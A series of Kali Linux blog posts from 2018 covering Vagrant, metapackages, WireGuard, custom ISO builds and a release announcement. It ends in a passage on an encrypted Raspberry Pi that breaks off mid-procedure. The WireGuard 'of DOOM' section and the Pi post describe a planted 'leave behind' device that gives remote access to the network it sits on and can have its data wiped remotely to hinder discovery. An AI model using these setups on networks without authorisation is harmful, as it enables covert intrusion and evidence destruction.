# boxes at https://vagrantcloud.com/search.
config.vm.box = "kalilinux/rolling"
...
# Create a forwarded port mapping which allows access to a specific port
# within the machine from a port on the host machine. In the example below,
# accessing "localhost:8080" will access port 80 on the guest machine.
# NOTE: This will enable public access to the opened port
# config.vm.network "forwarded_port", guest: 80, host: 8080
...
end

Next, make sure you have enough disk space. The vagrant “box” (you can think of it as a template) uses around 4GB, and the spun up VM will take around 10GB or more depending on what you install inside. Then run this command:

$ vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'kalilinux/rolling' could not be found. Attempting to find and install...
default: Box Provider: virtualbox
default: Box Version: >= 0
==> default: Loading metadata for box 'kalilinux/rolling'
default: URL: https://vagrantcloud.com/kalilinux/rolling
==> default: Adding box 'kalilinux/rolling' (v2018.3.1) for provider: virtualbox
default: Downloading: https://vagrantcloud.com/kalilinux/boxes/rolling/versions/2018.3.1/providers/virtualbox.box
...
==> default: Machine booted and ready!
==> default: Checking for guest additions in VM...
==> default: Mounting shared folders...
default: /vagrant => /Users/woodbine/vagrant-boxes/kali

Vagrant will first download the box file if it’s not in its cache, then create the Kali VM and power it on. You will see the VirtualBox UI pop up so you can use Kali normally with the root/toor credentials. Vagrant veterans might notice that the VM is not headless, unlike most other Vagrant boxes. We have decided to show the GUI by default because many Kali tools require it. If you do not need the GUI, you can disable it in the Vagrantfile (see below for an example config) and run the following command to SSH to the machine as the vagrant user:

$ vagrant ssh
Linux kali 4.18.0-kali1-amd64 #1 SMP Debian 4.18.6-1kali1 (2018-09-10) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
vagrant@kali:~$

This user has password-less sudo configured with the password vagrant, as per Vagrant conventions.

Configuration

The VM comes with a NAT interface pre-configured, so you don’t need to edit the configuration to have Internet access from inside the VM. In addition, Vagrant will create a shared folder by default: the current directory on the host (the one containing the Vagrantfile) is available in the /vagrant directory of the guest. This directory allows you to keep data saved on the host, but easily accessible by the guest. This is a good practice, as it would allow you to quickly reset your Vagrant machine and never lose data.

Let’s see what more we can do with just a little configuration:

# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.box = "kalilinux/rolling"
# Create a forwarded port
config.vm.network "forwarded_port", guest: 80, host: 8080
# Create a private network. In VirtualBox, this is a Host-Only network
config.vm.network "private_network", ip: "192.168.33.10"
# VirtualBox specific settings
config.vm.provider "virtualbox" do |vb|
# Hide the VirtualBox GUI when booting the machine
vb.gui = false
# Customize the amount of memory on the VM:
vb.memory = "4096"
end
# Provision the machine with a shell script
config.vm.provision "shell", inline: <<-SHELL
apt-get update
apt-get install -y crowbar
SHELL
end

Add/uncomment the options inside the Vagrantfile then restart the machine with the following command for your changes to take effect:

vagrant reload

The provision script will only be run the first time the machine boots, but you can use one of these commands to re-run it:

vagrant provision # Provision the powered on VM
vagrant up --provision # When VM is powered off, power it on then provision
vagrant reload --provision # Reboot the VM then provision

Note that while it is possible to add a bridged network (called a “public network” in Vagrant), this is likely a bad idea as Vagrant is insecure by default.

Wrapping Up

We hope you find this new offering useful. We have shown a few simple things that you can do with Vagrant, but make sure to check out the official documentation for more configuration options and the Vagrant Cloud for more boxes!

Making your own Kali Linux Metapackages

Tue, 18 Sep 2018 00:00:00 +0000

One of the many useful things we can do with APT is create metapackages, which are effectively empty packages that declare a list of other packages as dependencies. Kali Linux includes metapackages for password cracking, software-defined radio, wireless, web applications, and more but if you have specific needs (like most people), it’s quick and easy to define your own metapackages, which we will show in this post.

Before we begin, we need to install the devscripts package, which includes a number of tools and utilities for package management:

root@kali:~# apt install devscripts

In Kali, all metapackages are defined in the appropriately named kali-meta package so we can clone and modify it to suit our needs:

root@kali:~# git clone git://gitlab.com/kalilinux/packages/kali-meta
Cloning into 'kali-meta'...
remote: Counting objects: 998, done.
remote: Compressing objects: 100% (809/809), done.
remote: Total 998 (delta 365), reused 0 (delta 0)
Receiving objects: 100% (998/998), 179.90 KiB | 570.00 KiB/s, done.
Resolving deltas: 100% (365/365), done.
warning: remote HEAD refers to nonexistent ref, unable to checkout.

The “unable to checkout” message above looks worrisome but it only means that the default branch (kali/master) needs to be checked out first, which can be done as follows:

root@kali:~# cd kali-meta/
root@kali:~/kali-meta# git checkout kali/master
Branch 'kali/master' set up to track remote branch 'kali/master' from 'origin'.
Switched to a new branch 'kali/master'
root@kali:~/kali-meta#

To create a new metapackage (or update an existing one), we need to edit the debian/control file with the package information. Each metapackage is merely a comma-separated list of package dependencies, like the one for the kali-linux-gpu shown below:

Package: kali-linux-gpu
Architecture: any
Depends: ${misc:Depends},
kali-linux,
oclhashcat [amd64 i386],
pyrit,
oclgausscrack [amd64 i386],
truecrack,

Our new metapackage will be called “kali-linux-mytools” and will install Vagrant, VirtualBox, LibreOffice, and Chromium. Our entry for this metapackage in debian/control looks like this:

 root@kali:~/kali-meta# tail -n 14 debian/control
Package: kali-linux-mytools
Architecture: any
Depends: ${misc:Depends},
kali-linux,
virtualbox,
vagrant,
libreoffice,
chromium,
Description: My required Kali tools
This is Kali Linux, the most advanced penetration testing and security
auditing distribution.
.
This metapackage depends on the tools I install most often.

With the new metapackage defined, we need to bump the version number with ‘dch’ prior to building the package. This will launch an editor for you to enter the details of your changes in debian/changelog:

root@kali:~/kali-meta# dch --local dookie
root@kali:~/kali-meta# head -n 5 debian/changelog
kali-meta (2018.3.2dookie1) UNRELEASED; urgency=medium
* Added kali-linux-mytools
-- dookie <dookie@kali.local> Tue, 11 Sep 2018 09:40:10 -0600

Finally, we can proceed to build the new package with the ‘dpkg-buildpackage’ command. Since metapackages are just lists of dependencies, the build process is very quick:

root@kali:~/kali-meta# dpkg-buildpackage -us -uc -b
dpkg-buildpackage: info: source package kali-meta
dpkg-buildpackage: info: source version 2018.3.2dookie1
dpkg-buildpackage: info: source distribution UNRELEASED
dpkg-buildpackage: info: source changed by dookie <dookie@kali.local>
dpkg-buildpackage: info: host architecture amd64
...
dpkg-deb: building package 'kali-linux-pwtools' in '../kali-linux-pwtools_2018.3.2dookie1_amd64.deb'.
dpkg-deb: building package 'kali-linux-top10' in '../kali-linux-top10_2018.3.2dookie1_amd64.deb'.
dpkg-deb: building package 'kali-linux-mytools' in '../kali-linux-mytools_2018.3.2dookie1_amd64.deb'.
dpkg-genbuildinfo --build=binary
dpkg-genchanges --build=binary >../kali-meta_2018.3.2dookie1_amd64.changes
dpkg-genchanges: info: binary-only upload (no source code included)
dpkg-source --after-build kali-meta
dpkg-buildpackage: info: binary-only upload (no source included)

When the build is complete, our new metapackage can be installed with ‘apt’ like any other package:

root@kali:~/kali-meta# apt install ../kali-linux-mytools_2018.3.2dookie1_amd64.deb
...
root@kali:~/kali-meta# apt-cache policy vagrant virtualbox libreoffice chromium
vagrant:
Installed: 2.1.2+dfsg-1
Candidate: 2.1.2+dfsg-1
Version table:
*** 2.1.2+dfsg-1 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status
virtualbox:
Installed: 5.2.18-dfsg-2
Candidate: 5.2.18-dfsg-2
Version table:
*** 5.2.18-dfsg-2 500
500 http://192.168.86.4/kali kali-rolling/contrib amd64 Packages
100 /var/lib/dpkg/status
libreoffice:
Installed: 1:6.1.1~rc1-2
Candidate: 1:6.1.1~rc1-2
Version table:
*** 1:6.1.1~rc1-2 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status
chromium:
Installed: 68.0.3440.75-2
Candidate: 68.0.3440.75-2
Version table:
*** 68.0.3440.75-2 500
500 http://192.168.86.4/kali kali-rolling/main amd64 Packages
100 /var/lib/dpkg/status

Just like that, we have our own metapackage that we can store on network share or some other location to quickly get our fresh Kali Linux installations set up and configured quickly.

WireGuard on Kali

Tue, 11 Sep 2018 00:00:00 +0000

We have been hearing a lot about WireGuard lately and with it being recently added to the Kali repos, we thought we would give it a quick try to see what all the fuss is about. All in all, we found this is a really nice and quick to configure VPN solution, and might be worth checking out.

Getting Started

With WireGuard added to the repos, installation is nice and easy:

apt install wireguard resolvconf

And we are off. Next comes time for configuration. This is where WireGuard really shone for us, as it took next to nothing to get up and running.

On the server, we have to generate a public/private key pair and set up an initial config file:

wg genkey | tee privatekey | wg pubkey > publickey
umask u=rwx,go= && cat > /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.222.222.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = -SERVER PRIVATE KEY-
[Peer]
PublicKey = -CLIENT PUBLIC KEY-
AllowedIPs = 10.222.222.2/32
EOF

And we do the same process on the client to establish its key pair and config:

wg genkey | tee privatekey | wg pubkey > publickey
umask u=rwx,go= && cat /etc/wireguard/wg0.conf << EOF
[Interface]
Address = 10.222.222.2/32
PrivateKey = -CLIENT PRIVATE KEY-
DNS = 8.8.8.8
[Peer]
PublicKey = -SERVER PUBLIC KEY-
Endpoint = public.ip.of.server:51820
AllowedIPs = 0.0.0.0/0
PersistentKeepalive = 21
EOF

These are pretty simple configs but it’s worth pointing a few things out. First off, you obviously have to put the output from the key pairs into the configs as appropriate. Additionally, the DNS line on the client is to help prevent DNS leaks from using your local default DNS server. You may or may not want to change that depending on your needs.

Most important however is the “AllowedIPs” line. This will control what IPs do or don’t go across the VPN. In this case, we setup the client to route everything through the VPN server. We will play with this more in a bit, but let’s look at getting this basic config running.

To start and stop the tunnel, it’s pretty easy:

# The VPN can be enabled using
wg-quick up wg0
# To disable the VPN:
wg-quick down wg0
# Information about the connection can be retrieved with following command:
wg show

And of course, we need to enable IP masquerade and IP forwarding on the server:

/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

So, with this we have a traditional VPN configuration. If you are looking to just get a standard VPN setup, at this point you are done. There are some advantages to this compared to using OpenVPN, for instance this solution seems to be much faster, the config is a lot simpler, and it’s a touch more stealthy in that the server won’t respond to packets that don’t have a proper key pair linked to them. We thought however it might be interesting to change the configuration to reflect our ISO of Doom config, having a client that will auto connect to the server on boot allowing the server to route through and access the client network.

WireGuard of DOOM!

First things first, on our client, let’s quickly set up IP forwarding and masquerading:

/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Great, with that done, we make a couple minor changes to our configs. First up, on the server we change the “AllowedIPs” line to have the private network on the report site. This would look like so:

[Interface]
Address = 10.222.222.1/24
SaveConfig = true
ListenPort = 51820
PrivateKey = -SERVER PRIVATE KEY-
[Peer]
PublicKey = -CLIENT PUBLIC KEY-
AllowedIPs = 10.200.200.2/32, 192.168.2.0/24

With that one line changed on the server, we then tweak the clients “AllowedIPs” line to remove the option to route everything to the VPN server:

[Interface]
Address = 10.200.200.2/32
PrivateKey = -CLIENT PRIVATE KEY-
DNS = 8.8.8.8
[Peer]
PublicKey = -SERVER PUBLIC KEY-
Endpoint = public.ip.of.server:51820
AllowedIPs = 10.200.200.0/24
PersistentKeepalive = 21

And thats it!

root@kali:~# ping 192.168.2.22
PING 192.168.2.22 (192.168.2.22) 56(84) bytes of data.
64 bytes from 192.168.2.22: icmp_seq=19 ttl=63 time=50.2 ms
64 bytes from 192.168.2.22: icmp_seq=20 ttl=63 time=53.4 ms
64 bytes from 192.168.2.22: icmp_seq=21 ttl=63 time=48.1 ms

Now the VPN server can access the subnets on the other side of the WireGuard VPN.

Wrapping up

Time will tell if WireGuard replaces OpenVPN as the VPN of choice, or if the latest buzz is just excitement of using the newest toys. In any case, it’s nice to have the ability to test it out, and use if it’s a good fit. As we have seen here, it’s definitely easy to setup, and relatively versatile in the user cases.

My Custom Kali Linux Distribution

Wed, 05 Sep 2018 00:00:00 +0000

We love it when community members come up with new ideas or interesting builds, and this one caught our attention. Jacek Kowalczyk hit us up on twitter with a really interesting story. His approach to tweaking Kali to be specific to his needs is exactly why this feature is so important to us and we wanted to share his story more widely.

Jacek’s live-build recipe was for a lightweight version of Kali using his favourite desktop environments, including some nice desktop configurations. We thought it would be best to let Jacek share his process with you step by step, in his own words:

Jacek’s Story

I spent a lot of time on searching for a Linux distribution that was best suited for my needs. I wanted a very lightweight system and went about testing a ton of variants (Manjaro, Debian, Ubuntu, Sparky, MX Linux, Antix, Arch, Anarchy, Antergos, Archlabs, Bunsen Labs, and many more). I also tested different desktop environments trying to find my right fit (Xfce, LXDE, Mate, LXqt, i3, openbox, fluxbox, jwm, and IceWM). Despite this exhaustive testing, I still wasn’t satisfied.

It started to become clear that for my needs, I needed a rolling release Linux that was not only lightweight, but also had good support from either a company or community. I made a long list of my favourite Linux distributions, but I still couldn’t decide.

I had always wanted to take part in an Open-source project and do a little development. It occurred to me that my solution could be to simply create my own setup–I could take a Linux distro, install a base OS, and customize it. At first, this seemed like a great option. But what would happen if I needed to reinstall? I didn’t want to have to start over again on customizing my installed system.

I knew I wanted to create an ISO that I could use to install my system anytime, anywhere. It would be perfectly customized for my needs fresh out of install. Because of this, I started to look for ways of customizing Debian, Arch, or Manjaro. This led me to the Kali Linux live-build config scripts. At this point, I knew I had found my solution.

Kali Linux is a rolling distro based on Debian and has great support from the OffSec team as well as an active community. I also found existing scripts for i3wm provided by the Kali team. This was my starting point. I started playing with the custom packages list and later on with some chroot files to be included in the ISO. In this process, I generated over 20 ISO images until I had one I was happy with. Even now, I am still continuing to improve on it.

Let me explain how I created two variants of Kali Linux–one with i3wm and one with Openbox window manager.

Custom Kali Linux with i3wm or Openbox

I did my first setup based on the official Kali documentation for live-build-config. This process was:

Install Kali Linux. Use any official Kali image.
Install additional packages.
Start hacking i3wm/Openbox variants. I treated these as two separate builds initially, to keep things cleaner for myself. I was doing double the work, but it was easier to track:

root@kali:~# apt install curl git live-build cdebootstrap
root@kali:~# git clone git://gitlab.com/kalilinux/build-scripts/live-build-config.git
...
root@kali:~# cd live-build-config/kali-config
root@kali:~/live-build-config/kali-config# ls
common variant-e17 variant-i3wm variant-light variant-mate
variant-default variant-gnome variant-kde variant-lxde variant-xfce

For i3, I started with making my modifications in the existing variant-i3wm folder. For Openbox, I copied the variant-i3wm directory to variant-openbox and added my modifications to it:

root@kali:~/live-build-config/kali-config# cp -r variant-i3wm variant-openbox

With that in place, the next step was to edit the file kali-config//package-lists/kali.list.chroot to add the required packages I wanted. My list of packages for i3wm can be found here, and Openbox here. All config files for the livecd should be copied to kali-config/common/includes.chroot/root/. This directory is used as the livecd environment is running as the root user.

All config files for the installed file system should be copied to kali-config/common/includes.chroot/etc/skel/. The /etc/skel directory is commonly used as a template for creating user home directories, so every new user will by default have the files that are located in this directory.

Nitrogen is an application used to setup wallpaper. The file .config/nitrogen/bg-saved.cfg defines the set wallpaper. The second file .config/nitrogen/nitrogen.cfg is the main configuration file for nitrogen and defines the directories where the wallpaper images are located. I tweaked each of these out to fit my preferences. With that in place, I then also tweaked the power manager applet by configuring .config/xfce4/xfconf/xfce-perchannel-xml/xfce4-power-manager.xml.

Additionally, I made a range of other customizations to personalize the system a bit more. Without going into too much detail, they were:

For i3wm
- kali-config/common/includes.chroot/root/.i3wm_conkyrc - Configuration for conky tool. This conkyrc file is based on the conky configuration from Sparky Linux
- kali-config/common/includes.chroot/root/.config/i3/config - The configuration file for i3wm was generated for me on the fist login to i3wm session, and I added a few changes to autostart other tools like: nitrogen, clipit, volume control, and defined my key bindings for my tools and actions (poweroff and reboot).
For Openbox
- kali-config/common/includes.chroot/root/.openbox_conkyrc - configuration for conky. The openbox conkyrc is a different from the one for i3wm. This one is based on the conkyrc file from CrunchBang++.
- kali-config/common/includes.chroot/root/.config/openbox/autostart - Openbox autostart file defines which tools and applications should be started automatically with openbox session: (nitrogen, clipit, volume vontrol, power manager, conky). I based it on the file from CrunchBang++ also.
- kali-config/common/includes.chroot/root/.config/openbox/menu.xml - This is the Openbox menu config, controlling what happens when you right-click on the desktop. Openbox is really unique in that this file is completely user controlled and you can run scripts in it and do other things like starting applications or even to view the status the media player application in dynamic pipe menu. Openbox is really powerful.
- kali-config/common/includes.chroot/root/.config/openbox/rc.xml - Openbox window manager themes and keybindings. This is pretty stock, but I added there my keybindings for my favourite tools and actions like poweroff and reboot.
- kali-config/common/includes.chroot/root/.config/tint2/tint2rc - Tint2 panel settings and launchers. Here, I added my most commonly used tools: terminal, editors, web browsers. To edit this file I used tint2conf gui application. This application allows to easily define the themes of the tint2 panel and add launchers and other items of the panel.

All the changes for i3wm can be found here and Openbox can be found here.

I also added the Firefox developer edition browser by downloading the install package and unpacking it into kali-config/common/includes.chroot/opt/firefox/ and then added the toxic tox client to kali-config/common/includes.chroot/opt/toxic. To start up Firefox, I added also the shell script kali-config/common/includes.chroot/usr/bin/firefox.sh:

#!/bin/bash
echo "Starting firefox developer edition"
/opt/firefox/firefox

Build the ISOs

With all that configuration out of the way, it was time for the fun part, building the ISOs!

root@kali:~/live-build-config/kali-config# ./build.sh --distribution kali-rolling --variant i3wm --verbose
root@kali:~/live-build-config/kali-config# ./build.sh --distribution kali-rolling --variant openbox --verbose

With those running, I then just had to wait for the job to finish. In my case it took about 3 hours. The ISO files it generated were saved in the images subfolder.

Final Version

In the final version of the configs, I decided to port my i3wm install to my Openbox build. This way, when building the Openbox config, I am getting both window managers, Openbox and i3. On the login screen, I can select the session I want. Obviously, its much easier to have one “perfect” ISO than have to decide between the two at install time.

Wrapping up

We loved Jacek’s approach of identifying his needs, and then not being afraid of just jumping in and making the changes. Like many things on Linux, doing a custom install can be intimidating and look like a very complex process. But once you get in and start the process, it’s really pretty straightforward and the amount of work it can save you is amazing.

Thanks to Jacek for all his hard work, and being willing to share it with the community. You can see what else Jacek is up to at his page at his GitLab page.

Kali Linux 2018.3 Release

Tue, 21 Aug 2018 00:00:00 +0000

Another edition of Hacker Summer Camp has come and gone. We had a great time meeting our users, new and old, particularly at our Black Hat and DEF CON Dojos, which were led by our great friend @ihackstuff and the rest of the OffSec crew. Now that everyone is back home, it’s time for our third Kali release of 2018, which is available for immediate download.

Kali 2018.3 brings the kernel up to version 4.17.0 and while 4.17.0 did not introduce many changes, 4.16.0 had a huge number of additions and improvements including more Spectre and Meltdown fixes, improved power management, and better GPU support.

New Tools and Tool Upgrades

Since our last release, we have added a number of new tools to the repositories, including:

idb - An iOS research / penetration testing tool
gdb-peda - Python Exploit Development Assistance for GDB
datasploit - OSINT Framework to perform various recon techniques
kerberoast - Kerberos assessment tools

In addition to these new packages, we have also upgraded a number of tools in our repos including aircrack-ng, burpsuite, openvas, wifite, and wpscan. For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

Download Kali Linux 2018.3

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2018.3. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt -y full-upgrade

Making sure you are up-to-date

To double check your version, first make sure your Kali package repositories are correct:

root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free

Then after running apt -y full-upgrade, you may require a reboot before checking:

root@kali:~# grep VERSION /etc/os-release
VERSION="2018.3"
VERSION_ID="2018.3"

If you come across any bugs in Kali, please open a report on our bug tracker. It’s more than a little challenging to fix what we don’t know about.

Build Kali with Live-Build on Debian Based Systems

Wed, 18 Jul 2018 00:00:00 +0000

We use live-build to create our official Kali releases and we encourage users to jump in and build their own customized versions of Kali whenever we can. Our documentation of the process is one of the most popular items on our documentation site, and the Kali Dojo also revolves around this topic. We love it and our users love it.

One roadblock of live-build has always been the fact that you need a Kali system to build a Kali system. The reason for this is that small changes in both the original debootstrap and live-build packages are needed for building a Kali ISO. In Kali, these changes are already included, however in most Debian derivatives, some gentle massaging is needed to get our ISOs to build.

Today, we have updated our docs site to include instructions on how to build a custom Kali ISO on other Debian based systems such as Debian 9 (Stretch/) and Ubuntu 16.04 and 18.04. This will hopefully allow users running Debian derivatives to test the waters with Kali and play with one of its cooler features.

Building a custom Kali release with live-build is not as scary as it might sound so be sure to give it a chance!

Building Kali on Non-Kali Debian Based Systems

You can easily run live-build on Debian based systems other than Kali. The instructions below have been tested to work with both Debian and Ubuntu.

First, we prep the system by ensuring it is fully updated, then proceed to download the Kali archive keyring and live-build packages. The latest versions of these packages can always be found at http.kali.org/pool/main/k/kali-archive-keyring/ and archive.kali.org/kali/pool/main/l/live-build/ respectively:

sudo apt update
sudo apt -y upgrade
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.1_all.deb
wget https://archive.kali.org/kali/pool/main/l/live-build/live-build_20180618kali1_all.deb

With that completed, we install some additional dependencies and the previously downloaded files:

sudo apt -y install git live-build cdebootstrap debootstrap curl
sudo dpkg -i kali-archive-keyring_2018.1_all.deb
sudo dpkg -i live-build_20180618kali1_all.deb

With the environment all prepared, we start the live-build process by setting up the build script and checking out the build config:

cd /usr/share/debootstrap/scripts/
(echo "default_mirror http://http.kali.org/kali"; sed -e "s/debian-archive-keyring.gpg/kali-archive-keyring.gpg/g" sid) > kali
sudo ln -s kali kali-rolling
cd ~
git clone git://gitlab.com/kalilinux/build-scripts/live-build-config.git
cd live-build-config/

At this point, we have to edit the build.sh script to bypass a version check. We do this by commenting out the “exit 1” below:

# Check we have a good debootstrap
ver_debootstrap=$(dpkg-query -f '${Version}' -W debootstrap)
if dpkg --compare-versions "$ver_debootstrap" lt "1.0.97"; then
if ! echo "$ver_debootstrap" | grep -q kali; then
echo "ERROR: You need debootstrap >= 1.0.97 (or a Kali patched debootstrap). Your current version: $ver_debootstrap" >&2
exit 1
fi
fi

With that change made, the script should look as follows:

# Check we have a good debootstrap
ver_debootstrap=$(dpkg-query -f '${Version}' -W debootstrap)
if dpkg --compare-versions "$ver_debootstrap" lt "1.0.97"; then
if ! echo "$ver_debootstrap" | grep -q kali; then
echo "ERROR: You need debootstrap >= 1.0.97 (or a Kali patched debootstrap). Your current version: $ver_debootstrap" >&2
# exit 1
fi
fi

We can now build our ISO as normal:

sudo ./build.sh --variant light --verbose

No Commitment Testing

After you get Kali built, you might want to quickly test the ISO you created. There is a fast no commitment trial you can do with QEMU. On Ubuntu, you just have to prep the system by installing a few packages:

sudo apt -y install qemu-kvm libvirt-bin ubuntu-vm-builder bridge-utils
sudo adduser $(id -un) kvm
newgrp kvm

With that out of the way, we will create a dynamic disk image to hold our Kali installation and then boot off our newly created ISO. Don’t worry about the disk size–it will grow as needed so you won’t suddenly fill your drive just by creating the disk:

qemu-img create -f qcow2 kali-disk.img 100G
kvm --name Kali -m 1024 -hda kali-disk.img -cdrom kali-linux-light-rolling-amd64.iso -boot d

At this point, you can run a live instance of Kali, or install it to the virtual disk. If we go ahead and install it, we would then later launch the newly created VM with the command:

kvm --name Kali -m 1024 -hda kali-disk.img -boot c

There are few things as satisfying as running your own Linux install that you created and tweaked for what you need. With a way to build Kali on other Debian based distributions and a quick way to test it, why wait?

Secure Kali Pi 2018

Tue, 10 Jul 2018 00:00:00 +0000

We have covered how to create secure “throw-away hack boxes” using the Raspberry Pi before, but we thought it was time to go back and take a look at the process again. With all the new Raspberry Pi models and Kali changes from when we last covered this, we found the old process was in need of some updating.

As a review, what we are trying to accomplish is to create a standalone “leave behind” device that, when discovered, does not make it easy to figure out what you were doing. So we use the LUKS full disk encryption along with the LUKS Nuke capability to put this together. If you have a Raspberry Pi 3 Model B+, or really any other model or similar device, feel free to use the instructions below to set up your own secure system. This updated process is based on our previous documentation, and updated with some community suggestions.

Overview of the process

Before we dive into the tech of what we are going to try to accomplish, let’s take a quick look at our goals on setting up our Raspberry Pi 3 Model B+ (henceforth called “RPi”):

Create a normal Kali Linux RPi installation
Prepare the system for encrypted boot with remote disk unlock
Create an initramfs configured with Dropbear and SSH keys to allow the unlock to occur
Backup existing data
Configure the encrypted partitions
Restore our data
Configure LUKS Nuke
Hack away!

This might seem like a lot, but its really pretty straightforward and once completed, we will be left with a RPi that will boot, get an IP from DHCP, and Dropbear will allow us to connect via SSH to provide the LUKS key. This permits us to run the RPi headless, but still keeping our data secure. Then down the road when we are done with it, we can retrieve it or remote in and destroy our data with LUKS NUKE.

Preparing the Base system

To start with, we need to write out the RPi image to a SD card. We won’t get into that here, but you can find information on doing so in our docs.

With that out of the way, we insert the SD card into the RPi and let it boot up. On first boot, it will resize the SD card and reboot, after that it’s ready for use. Next, we connect over SSH, update Kali, and install a few packages we will need:

apt update
apt dist-upgrade
apt install cryptsetup lvm2 busybox dropbear

Doing the Magic-Fu

The RPi is all setup and ready to go so let’s get our hands dirty and dive into things. Take note, once we start this process, we are going to be changing a number of critical files on our RPi installation. It is important to not reboot the device or otherwise shut down the system until you are ready or you will be left with a system that won’t boot.

First off, we need to append a line to /boot/config.txt:

echo initramfs initramfs.gz followkernel >> /boot/config.txt

Next, we want to validate where our actual root filesystem device is located:

root@kali:~# cat /etc/fstab
# proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults 0 2
/dev/mmcblk0p2 / ext4 defaults,noatime 0 1

Take special note that our root filesystem lives at /dev/mmcblk0p2. This is what we will use for our examples going forward, so be sure to update the instructions with whatever value you received on your system.

Now that we know our root filesystem location, we will edit the /boot/cmdline.txt . By default, it contains the following:

root@kali:~# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait rootflags=noload net.ifnames=0

Take note of the entry reading root=/dev/mmcblk0p2. We are going to update it with a cryptdevice value:

root=/dev/mapper/crypt cryptdevice=/dev/mmcblk0p2:crypt

With the change made, our file looks like this:

root@kali:~# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mapper/crypt cryptdevice=/dev/mmcblk0p2:crypt rootfstype=ext4 rootwait rootflags=noload net.ifnames=0

We also need to edit /etc/fstab and replace the device where our root filesystem currently is to be /dev/mapper/crypt:

root@kali:~# cat /etc/fstab
# proc /proc proc defaults 0 0
/dev/mmcblk0p1 /boot vfat defaults 0 2
/dev/mapper/crypt / ext4 defaults,noatime 0 1
#/dev/mmcblk0p2 / ext4 defaults,noatime 0 1

Next, we need to create a /etc/crypttab file containing the following:

crypt /dev/mmcblk0p2 none luks

Take special care here–the separators between the entries have to be tabs, not spaces. Now, before we start to create our initramsfs, we need to do a sly little hack to force cryptsetup to be included. To do this, we will create a fake LUKS filesystem. We dd an empty file, format it as LUKS, mount it, and put a filesystem on it:

dd if=/dev/zero of=/tmp/fakeroot.img bs=1M count=20
cryptsetup luksFormat /tmp/fakeroot.img
cryptsetup luksOpen /tmp/fakeroot.img crypt
mkfs.ext4 /dev/mapper/crypt

Don’t worry too much about setting a strong password for this fakeroot as it is only used in this instance.

Setting up SSH and Initramfs

Now we are on the home stretch. This part is really cool, as normally when a system running LUKS starts up, the boot process pauses to allow you to unlock the HDD with your LUKS key. If you are running a headless system, that’s not especially convenient.

To work around that, we are going to configure Dropbear to start up, allow you to authenticate with SSH, and then connect you to provide your LUKS password–all from remote!

We start out by creating a file at /etc/dropbear-initramfs/authorized_keys that contains:

command="export PATH='/sbin:/bin/:/usr/sbin:/usr/bin'; /scripts/local-top/cryptroot && kill -9 \`ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3\` && exit"

Its important to note, this needs to be all on one line. No line breaks in there at all. If you have this set up right, it should look similar to this:

root@kali:~# cat /etc/dropbear-initramfs/authorized_keys
command="export PATH='/sbin:/bin/:/usr/sbin:/usr/bin'; /scripts/local-top/cryptroot && kill -9 `ps | grep -m 1 'cryptroot' | cut -d ' ' -f 3` && exit" ssh-rsa AAAAB3NzaC... user@system

Next, we make a small change to /usr/share/initramfs-tools/scripts/init-premount/dropbear. This change is due to the fact that we need to slow down Dropbear to ensure that networking is set up before Dropbear kicks in. At the end of the file, where it reads:

# On NFS mounts, wait until the network is configured. On local mounts,
# configure the network in the background (in run_dropbear()) so someone
# with console access can enter the passphrase immediately. (With the
# default ip=dhcp, configure_networking hangs for 5mins or so when the
# network is unavailable, for instance.)
[ "$BOOT" != nfs ] || configure_networking
run_dropbear &
echo $! >/run/dropbear.pid

We want to add in a simple sleep statement like so:

[ "$BOOT" != nfs ] || configure_networking
sleep 5
run_dropbear &
echo $! >/run/dropbear.pid

With that completed, we are finally ready to create our initramfs!

mkinitramfs -o /boot/initramfs.gz

Before proceeding, we ensure that our customized changes made it into the new initramfs:

lsinitramfs /boot/initramfs.gz | grep cryptsetup
lsinitramfs /boot/initramfs.gz | grep authorized

With that validated, we ensure all changes are written to disk and shut the RPi down:

sync && sync
init 0

Backup and Restore

Remove the SD card from your RPi and return to the system you initially used to write the SD card. Let’s prepare the environment:

ls -al /mnt/{chroot,backup,encrypted}
# Please make sure there is nothing here first before you move on, otherwise you will have a bad day.
rm -rf /mnt/{chroot,backup,encrypted}
mkdir -p /mnt/{chroot,backup,encrypted}

Now insert the SD card and validate the device ID. In our case, the device is /dev/sdc2 but yours might be different so adjust as necessary on your system. We mount the device and make a backup of the filesystem:

mount /dev/sdc2 /mnt/chroot/
rsync -avh /mnt/chroot/* /mnt/backup/
umount /mnt/chroot

Once that is done, we delete the existing 2nd partition on the SD card and recreate an empty one, which we set up for LUKS encryption:

echo -e "d\n2\nw" | fdisk /dev/sdc
echo -e "n\np\n2\n\n\nw" | fdisk /dev/sdc

With the partitions updated, we reload them by running partprobe and then configure LUKS on the new partition:

cryptsetup -v -y --cipher aes-cbc-essiv:sha256 --key-size 256 luksFormat /dev/sdc2
cryptsetup -v luksOpen /dev/sdc2 crypt
